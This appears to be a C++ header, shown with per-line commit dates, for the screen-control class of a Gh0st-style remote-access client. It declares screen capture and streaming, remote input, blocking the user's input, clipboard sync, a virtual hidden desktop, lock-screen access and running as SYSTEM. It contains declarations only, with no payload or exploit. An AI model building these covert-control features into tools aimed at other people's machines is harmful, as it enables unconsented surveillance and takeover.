2026-01-02 20:00:18 +01:00
|
|
|
|
// ScreenManager.h: interface for the CScreenManager class.
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
|
|
|
|
|
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
|
|
|
|
|
|
|
|
|
|
|
#if _MSC_VER > 1000
|
|
|
|
|
|
#pragma once
|
|
|
|
|
|
#endif // _MSC_VER > 1000
|
|
|
|
|
|
|
|
|
|
|
|
#include "Manager.h"
|
|
|
|
|
|
#include "ScreenSpy.h"
|
2025-03-13 23:34:33 +08:00
|
|
|
|
#include "ScreenCapture.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-05-31 15:49:40 +08:00
|
|
|
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
|
|
|
|
|
|
2025-07-19 16:18:56 +08:00
|
|
|
|
bool IsWindows8orHigher();
|
|
|
|
|
|
|
2025-12-29 17:54:47 +01:00
|
|
|
|
BOOL IsRunningAsSystem();
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
class IOCPClient;
|
|
|
|
|
|
|
2025-11-28 20:53:28 +01:00
|
|
|
|
struct UserParam;
|
|
|
|
|
|
|
2025-10-15 04:32:59 +08:00
|
|
|
|
class CScreenManager : public CManager
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
public:
|
2025-10-15 04:32:59 +08:00
|
|
|
|
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
|
|
|
|
|
virtual ~CScreenManager();
|
|
|
|
|
|
HANDLE m_hWorkThread;
|
|
|
|
|
|
|
|
|
|
|
|
void InitScreenSpy();
|
|
|
|
|
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
|
|
|
|
VOID SendBitMapInfo();
|
|
|
|
|
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
|
|
|
|
|
|
|
|
|
|
|
ScreenCapture* m_ScreenSpyObject;
|
|
|
|
|
|
VOID SendFirstScreen();
|
|
|
|
|
|
const char* GetNextScreen(ULONG &ulNextSendLength);
|
|
|
|
|
|
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
|
|
|
|
|
|
|
|
|
|
|
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
2025-11-28 20:53:28 +01:00
|
|
|
|
UserParam *m_pUserParam = NULL;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
INT_PTR m_ptrUser;
|
|
|
|
|
|
HDESK g_hDesk;
|
2025-11-23 18:13:39 +01:00
|
|
|
|
BOOL m_isGDI;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
std::string m_DesktopID;
|
|
|
|
|
|
BOOL m_bIsWorking;
|
|
|
|
|
|
BOOL m_bIsBlockInput;
|
2025-12-12 14:36:32 +01:00
|
|
|
|
VOID SendClientClipboard(BOOL fast);
|
2025-10-15 04:32:59 +08:00
|
|
|
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
|
|
|
|
|
|
2025-10-25 16:13:18 +08:00
|
|
|
|
std::string m_hash;
|
|
|
|
|
|
std::string m_hmac;
|
|
|
|
|
|
CONNECT_ADDRESS *m_conn = nullptr;
|
2025-11-09 00:49:34 +08:00
|
|
|
|
void SetConnection(CONNECT_ADDRESS* conn)
|
|
|
|
|
|
{
|
2025-10-25 16:13:18 +08:00
|
|
|
|
m_conn = conn;
|
|
|
|
|
|
}
|
2025-11-29 23:22:55 +01:00
|
|
|
|
bool IsRunAsService() const
|
|
|
|
|
|
{
|
2025-12-29 17:54:47 +01:00
|
|
|
|
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
|
|
|
|
|
return true;
|
|
|
|
|
|
static BOOL is_run_as_system = IsRunningAsSystem();
|
|
|
|
|
|
return is_run_as_system;
|
2025-11-23 18:13:39 +01:00
|
|
|
|
}
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
|
|
|
|
|
|
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
2025-12-29 17:54:47 +01:00
|
|
|
|
HDESK s_inputDesk = NULL;
|
|
|
|
|
|
clock_t s_lastCheck = 0;
|
|
|
|
|
|
DWORD s_lastThreadId = 0;
|
|
|
|
|
|
|
2025-11-28 20:53:28 +01:00
|
|
|
|
bool SwitchScreen();
|
2025-12-15 23:09:56 +01:00
|
|
|
|
virtual BOOL OnReconnect();
|
|
|
|
|
|
uint64_t m_DlgID = 0;
|
|
|
|
|
|
BOOL m_SendFirst = FALSE;
|
2025-12-28 21:25:45 +01:00
|
|
|
|
int m_nMaxFPS = 20;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
// 虚拟桌面
|
2025-11-23 18:13:39 +01:00
|
|
|
|
BOOL m_virtual;
|
2025-10-15 04:32:59 +08:00
|
|
|
|
POINT m_point;
|
|
|
|
|
|
POINT m_lastPoint;
|
|
|
|
|
|
BOOL m_lmouseDown;
|
|
|
|
|
|
HWND m_hResMoveWindow;
|
|
|
|
|
|
LRESULT m_resMoveType;
|
2026-01-02 20:00:18 +01:00
|
|
|
|
BOOL m_rmouseDown; // 标记右键是否按下
|
|
|
|
|
|
POINT m_rclickPoint; // 右键点击坐标
|
|
|
|
|
|
HWND m_rclickWnd; // 右键窗口
|
2019-01-05 20:21:43 +08:00
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|